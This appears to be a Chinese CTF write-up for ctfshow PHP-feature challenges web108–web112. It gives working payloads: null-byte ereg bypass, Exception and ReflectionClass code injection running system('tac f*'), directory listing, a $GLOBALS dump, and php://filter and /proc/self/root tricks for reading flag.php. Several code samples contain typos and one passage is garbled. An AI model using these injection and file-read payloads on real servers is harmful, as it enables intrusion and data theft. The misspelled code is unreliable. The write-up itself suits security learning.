ctfshow web入门 php特性 web108-web112
1.web108
strrev() 反转字符串
<?php
echo strrev("Hello world!"); // 输出 "!dlrow olleH"
?>
ereg 存在空字符截断(只会匹配%00前面的字符),这个函数匹配到为true,没有匹配到为false,877为0x36d的十进制数值
payload:
c=a%00778
2.web109
类可以输出,就是当类被当作字符串执行,会调用__trosting魔术方法,这个类要有这个魔术方法,并且要有返回值才可以输出,这个值要可控
class a{
public $b;
public function __constrcut($a){
$this->b=$a
}
public funciton __toString(){
return $this->b;
}
}
$c=echo new a('aaa');
#v1=a
#v2=aaa
echo new Exception(system(‘echo phpinfo’)())
会先输出phpinfo,之后在执行phpinfo,最后抛出异常,需要执行完函数把函数的结果在通过异常进行抛出,执行顺序为什么时这样的因为不是这样的Exception(“system(‘echo phpinfo’)()”),不是当作一个整体进行输出,需要执行完才能把命令执行的结果当作整体进行输出
payload:
v1=Exception();system('tac f*');//&v2=a
v1=Exception&v2=system('tac f*'));//
v1=ReflectionClass&v2=system('tac f*')
3.web110
getcwd获取当前目录,DirectoryIterator遍历目录,文件名称(. … 1.c) FilesystemIterator遍历目录名+文件(/1.c),echo new DirectoryIterator(getcwd())只输出第一个
都是获取目录下的文件
payload:
v1=FilesystemIterator&v2=getcwd
4.web111
$GLOBALS —包含全局作用域中可用的全部变量
$v2=GLOBALS
$$v2=$GLOBALS
&$
v
2
表示取
v2表示取
v2表示取GLOBALS的所有值
&引用表示不同变量指向同一值
$a='djkad';
$b=&a;
echo $b; #djkad
echo $a; #djkad
var_dump($GLOBALS); #会输出$a,$b的值等
payload:
v1=ctfshow&v2=GLOBALS
5.web112
考查的是php伪协议,没想到
payload:
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
参考文章:
php特性